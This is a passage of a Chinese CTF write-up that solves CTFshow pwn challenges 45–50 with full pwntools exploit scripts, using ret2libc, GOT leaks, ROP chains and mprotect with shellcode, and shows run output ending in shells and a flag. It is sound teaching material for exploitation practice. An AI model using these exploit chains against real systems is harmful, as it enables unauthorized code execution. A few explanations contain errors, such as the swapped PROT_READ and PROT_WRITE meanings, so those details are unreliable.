io.recvuntil("get system parameter!")
io.sendline(payload)
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, '\x00'))
print hex(puts)
'''
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
'''
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload = cyclic(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) +
p64(system)
io.recvuntil("get system parameter!")
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 333
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : This time there is no replacement! How to do?
    * *************************************
get system parameter!
$ ls
ctfshow_flag  exp.py  pwn

pwn45

Hint：32位，无 system 无 “/bin/sh”

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位关闭栈保护关闭PIE

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  puts("O.o?");
  ctfshow();
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}

这次发现下面有一个write函数，漏洞点还是在ctfshow函数，跟进查看一下：

ssize_t ctfshow()
{
  _BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF

  return read(0, buf, 0xC8u);
}

还是明显的溢出漏洞了，只是其中的偏移变了，大差不差，现在我们关心的是如何去找到我们所需要的东西呢？现在既没有system，也没有“/bin/sh”

system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护，也只是针对于地址中间位进行随机，最低的 12 位并不会发生改变。

如果我们知道 libc 中某个函数的地址，那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢？我们一般常用的方法是采用 got 表泄露，即输出某个函数对应的 got 表项的内容。当然，由于 libc 的延迟绑定机制，我们需要泄漏已经执行过的函数的地址。

在得到 libc 之后，其实 libc 中也是有 /bin/sh 字符串的，所以我们可以一起获得 /bin/sh 字符串的地址。

我们大概了解了这个流程后，我们看到程序这次多出了一个write函数，那么我们就选用它来进行泄露（使用其他的函数也可以，解题方法不唯一）

那么我们先列出一个大纲，去决定我们接下来怎么走：

泄露write函数地址获取 libc 版本
获取 system 地址与 /bin/sh 的地址
再次执行源程序
触发栈溢出执行 system(‘/bin/sh’)
再一步步来讲解我们的利用过程：

泄露libc版本

write函数的原型：

ssize_t write(int fd,const void*buf,size_t count);

fd:是文件描述符【0 表示标准输入，1 表示标准输出，2 表示标准错误】（write所对应的是写，即就是0） buf:通常是一个字符串，需要写入的字符串 count：是每次写入的字节数

首先填充(0x6b+4)个字节造成溢出，覆盖到返回地址，返回地址填上write函数的plt地址来调用 write函数，之后跟上main函数地址（重新执行程序，再次利用输入点来进行rop链构造），再设置 write函数；由此可以构造出payload

cyclic(0x6b+4)        # 填充缓冲区，覆盖到返回地址（0x6b是缓冲区大小，+4覆盖ebp）
p32(write_plt)        # 覆盖返回地址为write函数的PLT地址（调用write）
p32(main)             # write执行完后返回main函数（以便再次触发漏洞）
p32(0)                # write的第一个参数：fd=0（标准输入）
p32(write_got)        # write的第二个参数：buf=write函数在GOT表中的地址
p32(4)                # write的第三个参数：count=4（读取4字节）

payload = cyclic(0x6b+4) + p32(write_plt) + p32(main) + p32(1) +
p32(write_got) + p32(4)
io.recvuntil('O.o?')
io.sendline(payload)
write = u32(io.recvuntil('\xf7')[-4:]) # 接收4字节地址
#print hex(write)
libc = LibcSearcher('write',write)  # 计算libc加载基址

算出程序的偏移量，计算system和bin/sh的地址

libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

构造rop获取shell
payload = cyclic(0x6b+4) + p32(system) + p32(main) + p32(bin_sh) #main可以是任意值0等

大致流程如此，使用其他函数泄露遵循其他函数的原型，然后加上对应参数即可

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28202)
elf = ELF('./pwn')
main = elf.sym['main']
write_got = elf.got['write']
write_plt = elf.plt['write']
payload = cyclic(0x6b+4) + p32(write_plt) + p32(main) +p32(4)+p32(write_got) + p32(1) #write0,1都可以
io.recvuntil(b'O.o?')
io.sendline(payload)
write = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(write))

libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x6b+4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

$ python3 exp.py
[+] Opening connection to pwn.challenge.ctf.show on port 28202: Done
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
/CTFshow_pwn/exp.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil('O.o?')
/CTFshow_pwn/exp.py:13: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  write = u32(io.recvuntil('\xf7')[-4:])
0xf7df06f0
[+] There are multiple libc that meet current constraints :
0 - libc6_2.19-0ubuntu6_amd64
1 - libc6_2.19-0ubuntu4_amd64
2 - libc6_2.19-0ubuntu3_amd64
3 - libc6_2.19-0ubuntu5_amd64
4 - libc-2.36-22.mga9.x86_64
5 - libc6-i386_2.27-3ubuntu1_amd64
6 - libc6_2.17-93ubuntu2_amd64
7 - libc6-i386_2.27-3ubuntu1.3_amd64
8 - libc6-i386_2.27-3ubuntu1.4_amd64
9 - libc6_2.17-93ubuntu4_amd64
[+] Choose one : 5
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
ctfshow{3315b627-b11a-49c3-a8ba-894839004a7e}

pwn46

Hint：64位无 system 无 “/bin/sh”

大致思路和上一题一样，不同的是64位的，前面也讲了它们的区别，大差不差

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
$ ROPgadget --binary ./pwn | grep "pop .*; ret"
0x00000000004005b6 : add byte ptr [rax], al ; pop rbp ; ret
0x00000000004005b5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x0000000000400617 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400612 : mov byte ptr [rip + 0x201a4f], 1 ; pop rbp ; ret
0x0000000000400677 : nop ; pop rbp ; ret
0x00000000004005b3 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004005f5 : nop dword ptr [rax] ; pop rbp ; ret
0x00000000004007fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400800 : pop r14 ; pop r15 ; ret
0x0000000000400802 : pop r15 ; ret
0x00000000004007fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ff : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005b8 : pop rbp ; ret
0x0000000000400803 : pop rdi ; ret
0x0000000000400801 : pop rsi ; pop r15 ; ret
0x00000000004007fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400615 : sbb ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400614 : sbb r12b, byte ptr [r8] ; add byte ptr [rcx], al ; pop rbp ; ret

0x0000000000400803 : pop rdi ; ret
0x0000000000400801 : pop rsi ; pop r15 ; ret

在 x86-64 架构中，函数参数通过寄存器传递：
rdi：第一个参数（文件描述符 fd）
rsi：第二个参数（缓冲区地址 buf）
rdx：第三个参数（写入字节数 count）

write函数原型为：
ssize_t write(int fd, const void *buf, size_t count);

ROP 链中：
p64(1)：通过pop rdi将文件描述符1（标准输出）放入rdi。
p64(write_got)：通过pop rsi将write的 GOT 表地址放入rsi，这是我们要泄露的内容。
p64(0)：通过pop r15将r15填充为 0（r15是多余参数，因为write只需要 3 个参数）。

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
io=process('./pwn')
elf=ELF('./pwn')
main=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
pop_rdi=0x400803
pop_rsi_r15=0x400801

payload=cyclic(0x70+8)+p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi_r15)+p64(write_got)+p64(0)
payload+=p64(write_plt)
payload+=p64(main)

io.sendlineafter(b"O.o?",payload)
write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write_addr))

libc = ELF('./libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so')  
libc_base = write_addr - libc.sym['write']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
#libc = LibcSearcher('write', write_addr)
#libc_base = write_addr - libc.dump('write')
#system = libc_base + libc.dump('system')
#bin_sh = libc_base + libc.dump('str_bin_sh')

payload=cyclic(0x70+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b"O.o",payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 175
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
0x7ffff7ebc560
[*] '/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Switching to interactive mode
?
$ ls
ctfshow_flag

pwn47

Hint：ez ret2libc

一个简单的ret2libc的应用，给出了很多函数的地址以及“/bin/sh”字符串的地址

先检查保护：

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位程序关闭栈保护与PIE保护

IDA查看一下main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  logo(&argc);
  puts("Give you some useful addr:\n");
  printf("puts: %p\n", &puts);
  printf("fflush %p\n", &fflush);
  printf("read: %p\n", &read);
  printf("write: %p\n", &write);
  printf("gift: %p\n", useful);                 // "/bin/sh"
  putchar(10);
  ctfshow();
  return 0;
}

可以看到输出了puts fflush read write 函数的地址，以及一个useful的地址，跟进查看：

.data:0804B028                 public useful
.data:0804B028 useful          db '/bin/sh',0          ; DATA XREF: main+AF↑o

发现是“/bin/sh”的地址

运行程序尝试看一下：

$ ./pwn
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : Ez ret2libc!
    * *************************************
Give you some useful addr:

puts: 0xf7df2140
fflush 0xf7defd10
read: 0xf7e909a0
write: 0xf7e91b80
gift: 0x804b028

Start your show time:

rhea@rhea-VMware-Virtual-Platform:~/Desktop/CTFshow_pwn/libc-database$ ./find write 0xf7e91b80 puts 0xf7df2140
ubuntu-glibc (libc6_2.39-0ubuntu8.4_i386)

确实如此，跟进ctfshow函数：

int ctfshow()
{
  char s[152]; // [esp+Ch] [ebp-9Ch] BYREF

  puts("Start your show time: ");
  gets(s);
  return puts(s);
}

依旧是栈溢出漏洞

而且直接给出了各个函数的地址，那么就更加简单了，这里我们通过泄露目标程序中 puts 函数的地址，并使用 LibcSearcher 类搜索 libc 版本和计算system函数的地址。又已知gift就是“/bin/sh”字符串的地址，将其也接收下来最后再进行getshell

from pwn import *
from LibcSearcher import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
io.recvuntil(b"puts:")
puts=eval(io.recvuntil(b"\n",drop=True))
io.recvuntil(b"gift:")
bin_sh=eval(io.recvuntil(b"\n",drop=True))
#puts=0xf7df2140
#bin_sh=0x804b028

libc = ELF('./libc-database/db/libc6_2.39-0ubuntu8.4_i386.so')  
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']

#libc=LibcSearcher("puts",puts)
#libc_base=puts-libc.dump("puts")
#system=libc_base+libc.dump("system")
payload=b"a"*(0x9c+4)+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload)
io.interactive()

这里的我们详细分析这几行

io.recvuntil("puts: ")
puts = eval(io.recvuntil("\n" , drop = True))
io.recvuntil("gift: ")
bin_sh = eval(io.recvuntil("\n" , drop = True))

发现跟之前写的exp有所不同，但是实际上得到的效果是一样的，按照之前的写法也没问题，这里

仅仅是为了演示多种不同的函数写法。

先使用 recvuntil 函数接收远程服务器发送的数据，直到遇到字符串 “puts: “ 。然后使用eval 函数执行接收到的字符串，将其解析为一个表达式并求值，得到 puts 函数的地址。类似地，下面这段代码接收数据，直到遇到字符串 “gift: “ 。然后使用 eval 函数执行接收到的字符串，得到一个地址，赋值给 bin_sh 变量。

其他的就应该没什么问题了。

$ python3 exp.py
[+] Starting local process './pwn': pid 333
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] '/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_i386.so'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[*] Switching to interactive mode

Start your show time:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0\xa4\xdc\xf7
$ ls
ctfshow_flag

pwn48

Hint：没有write了，试试用puts吧，更简单了呢

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位关闭栈保护与PIE

还是IDA查看一下main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  puts("O.o?");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

ssize_t ctfshow()
{
  _BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF

  return read(0, buf, 0xC8u);
}

栈溢出

套板子:

利用puts函数去泄露libc版本
计算偏移量，算出程序里的system函数和字符串“/bin/sh”的地址
利用溢出漏洞，构造rop，获取shell

32位的相对来说比64位的还是简单一些，通过上面这些应该对32位跟64位的程序漏洞利用已经有了

一个区分了。

from pwn import *
from LibcSearcher import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
main=elf.sym['main']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
payload=cyclic(0x6b+4)+p32(puts_plt)+p32(main)+p32(puts_got)
io.recvuntil(b'O.o?')
io.sendline(payload)

puts=u32(io.recvuntil(b'\xf7')[-4:])
print(hex(puts))

libc = ELF('./libc-database/db/libc6_2.39-0ubuntu8.4_i386.so')  
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
#libc=LibcSearcher('puts',puts)
#libc_base=puts-libc.dump('puts')
#system=libc_base+libc.dump('system')
#bin_sh=lib_base+libc.dump('str_bin_sh')

payload=cyclic(0x6b+4)+p32(system)+p32(main)+p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 401
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
0xf7df2140
[*] '/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_i386.so'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn49

Hint：静态编译？或许你可以找找mprotect函数

checksec检查保护

$ chmod +x pwn
$ file pwn && checksec pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=db1e246fe40dca2886c2fe54a05b53299506f3fc, not stripped
[*] '/CTFshow_pwn/pwn'
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      Canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

statically linked可以看到是静态编译的，32位程序，仅关闭PIE（这里等下大家会发现有一个问题）

还是在这里先给大家解答一下这个疑问吧，这里检测到开启了栈保护，但是简单测试后发现并没有开启这个保护

但是这里为什么checksec的时候开启了保护呢？

原因在这，由于这是较老版本的checksec，它应该是检测到有这个函数就算打开了栈保护

void __noreturn _stack_chk_fail_local()
{
  _fortify_fail_abort(0, "stack smashing detected");
}

在新版本的checksec中并不会出现此问题：

$ checksec --file=./pwn
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATHSymbolsFORTIFYFortifiedFortifiableFILE
Partial RELRO   No Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   2148 Symbols  No00./pwn

这里的话看个人习惯，如果喜欢新版本的话可以自行去安装一个新版本的。

因此这里的话并没有开启栈保护。

IDA查看一下：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_0();
  logo();
  ctfshow();
  return 0;
}

值得注意的是函数非常的多，从这我们也能看出来是静态编译

查找一下mprotect函数：

nsigned int __cdecl mprotect(const void *addy, size_t len, int flags)
{
  unsigned int result; // eax

  result = sys_mprotect(addy, len, flags);
  if ( result >= 0xFFFFF001 )
    return _syscall_error();
  return result;
}

确实有，那么它的作用是什么呢？

它的作用是能够修改内存的权限为可读可写可执行，然后我们就可以往栈上写入shellcode，执行

获取shell

*int mprotect(const void start, size_t len, int prot);**
第一个参数填的是一个地址，是指需要进行操作的地址。
第二个参数是地址往后多大的长度。
第三个参数的是要赋予的权限。
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值，并且可以用“|”将几个属性合起来使用：

1）PROT_READ：表示内存段内的内容可写；

2）PROT_WRITE：表示内存段内的内容可读；

3）PROT_EXEC：表示内存段中的内容可执行；

4）PROT_NONE：表示内存段中的内容根本没法访问。

5） prot=7 是可读可写可执行

指定的内存区间必须包含整个内存页（4K）。区间开始的地址start必须是一个内存页的起始地址，并且区间长度len必须是页大小的整数倍。因为程序本身也是静态编译，所以地址是不会变的。

指定的内存区间必须包含整个内存页（4K）。区间开始的地址start必须是一个内存页的起始地址，并且区间长度len必须是页大小的整数倍。因为程序本身也是静态编译，所以地址是不会变的。那么就

可以开始我们的操作了：首先造成溢出，让程序跳转到mprotect函数地址，去执行：

payload = cyclic(0x12+4) + p32(mprotect)

Choose segment to jump(shift+F7),调出程序的段表，将0x80DA000地址开始修改为可读可写可执行

.got.plt080DA000080DA044RW..Ldword0013publicDATA32FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0014FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
.bss080DB320080DBFFCRW..Lalign_320019publicBSS32FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0014FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF

为什么是0x80DA000而不是bss段的开头0x80DB320，因为指定的内存区间必须包含整个内存页（4K）,起始地址 start 必须是一个内存页的起始地址，并且区间长度 len 必须是页大小的整数倍。

使用ROPgadget找到我们需要的ret指令，我们mprotect函数需要设置3个参数，这边就找到3个寄存器就行

由于是静态编译，这里的gadget非常多，因此我们需要更加精准的命令来帮助我们找到我们需要gadget,这里可以在后面用管道添加参数筛选一下： | grep pop

$ ROPgadget --binary pwn --only "pop|ret"|grep pop
...
0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
...

然后来设置mprotect的参数，将返回地址填上read函数，我们接下来要将shellcode读入程序段，需要继续控制程序

payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)
payload += p32(read_addr)

read函数原型:

ssize_t read(int fd, void *buf, size_t count);

fd 设为0时就可以从输入端读取内容设为0

buf 设为我们想要执行的内存地址设为我们已找到的内存地址0x80EB000

size 适当大小就可以只要够读入shellcode就可以，设置大点无所谓

可以看到read函数也有三个参数要设置，我们就可以继续借用上面找到的有3个寄存器的ret指令

payload +=p32(pop_ebx_esi_ebp_ret)+p32(0)+p32(M_addr)+p32(M_size)+p32(M_addr)

到这里我们已经完成了修改内存为可读可写可执行，将程序重定向到了我们修改好后的内存地址，

接下来我们只要传入shellcode即可

shellcode = asm(shellcraft.sh())
io.sendline(shellcode)

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28185)
elf = ELF('./pwn')
mprotect = elf.sym['mprotect']
read_addr = elf.sym['read']
pop_ebx_esi_ebp_ret = 0x80a019b 
M_addr = 0x80DA000
M_size = 0x1000  #0x80DA000 % 0x1000 == 0
M_proc = 0x7 #可读可写可执行
payload = cyclic(0x12+4) + p32(mprotect)
payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size)+p32(M_proc)
payload += p32(read_addr)
payload +=p32(pop_ebx_esi_ebp_ret)+p32(0)+p32(M_addr)+p32(M_size)+p32(M_addr)
#payload += p32(read_addr)  # 调用read函数
#payload += p32(pop_ebx_esi_ebp_ret)  # 用于设置read的参数
#payload += p32(0)  # fd = 0（标准输入）
#payload += p32(M_addr)  # buf = 0x80DA000（可执行内存区域）
#payload += p32(M_size)  # count = 0x1000（读取4096字节）
#payload += p32(M_addr)  # read执行后跳转到此地址（即shellcode起始地址）
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.recv()
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 420
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn50

Hint：好像哪里不一样了，远程libc环境 Ubuntu 18

可以继续使用ret2libc来完成这题，会更简单

from pwn import *
from LibcSearcher import *
io=process('./pwn')
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
pop_rdi=0x4007e3
ret=0x4004fe  #注意是Ubuntu 18，有栈对齐问题
payload=cyclic(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)

puts=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print(hex(puts))

libc = ELF('./libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so')  
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
#libc=LibcSearcher('puts',puts)
#libc_base=puts-libc.dump('puts')
#system=libc_base+libc.dump('system')
#bin_sh=libc_base+libc.dump('str_bin_sh')
payload=cyclic(0x20+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)
io.recv()
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 549
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
0x7ffff7e27be0
[*] '/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] Switching to interactive mode
$ ls
ctfshow_flag pwn

目的是进一步学习mprotect函数

主要流程如下：

泄漏内存地址,通过计算得到libc地址
通过mprotect函数来修改一段区域的权限
向这段区域写入shellcode
跳转到写入shellcode的区域

显然，这样对做这题来讲可能会更加繁琐，但是跟着一步步调试后，会对mprotect这个函数有更加深刻的认识了。

检查保护：

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

64位开启NX，部分开启RELRO

首先第一步：泄漏内存地址,通过计算得到libc地址

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28127)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
ctfshow = elf.sym['ctfshow']
bss_page_addr = 0x601000 
main = elf.sym['main']
shellcode_addr = 0x602000 - 100
print(hex(ctfshow))
print(hex(bss_page_addr))
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(ctfshow)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.recvline()
leak_addr = u64((io.recvline().split(b"\x0a")[0]).ljust(8,b'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
io.interactive()

[+] libc_base = 0x7ffff7dcd0000
[*] Switching to interactive mode
Hello CTFshow
$

第二步：通过mprotect函数来修改bss的权限为rwx:

from pwn import * 
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context.terminal = ['bash', '-c'] #当前窗口
context.terminal = ['tmux', 'new-window']
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = 0x04007e3 # 0x00000000004007e3 : pop rdi ; ret
ctfshow = elf.sym['ctfshow']
bss_page_addr = 0x601000
main = elf.sym['main']
shellcode_addr = 0x602000 - 100
print(hex(ctfshow))
print(hex(bss_page_addr))
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(ctfshow)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.recvline()
leak_addr = u64((io.recvline().split(b"\x0a")[0]).ljust(8,b'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
pop_rsi_ret = libc.address + 0x2601f
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ;ret "
pop_rdx_ret = libc.address + 0x142c92
######### step2 : mprotect_bss_to_rwx
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(bss_page_addr)
payload+= p64(pop_rsi_ret)
payload+= p64(0x1000)
payload+= p64(pop_rdx_ret)
payload+= p64(0x7)
payload+= p64(libc.sym['mprotect'])
payload+= p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
gdb.attach(io)
io.interactive()

修改前：

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r-xp     1000       0 pwn
          0x601000           0x602000 r--p     1000    1000 pwn
          0x602000           0x603000 rw-p     1000    2000 pwn
   ...

修改后：

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r-xp     1000       0 pwn
          0x601000           0x602000 rwxp     1000    1000 pwn
          0x602000           0x603000 rw-p     1000    2000 pwn
   ...

第三步：向bss段中写入shellcode:

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
context.terminal = ['tmux', 'new-window']
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28127)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
ctfshow = elf.sym['ctfshow']
bss_page_addr = 0x601000
main = elf.sym['main']
shellcode_addr = 0x602000 - 100
print(hex(ctfshow))
print(hex(bss_page_addr))
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(ctfshow)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.recvline()
leak_addr = u64((io.recvline().split(b"\x0a")[0]).ljust(8,b'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
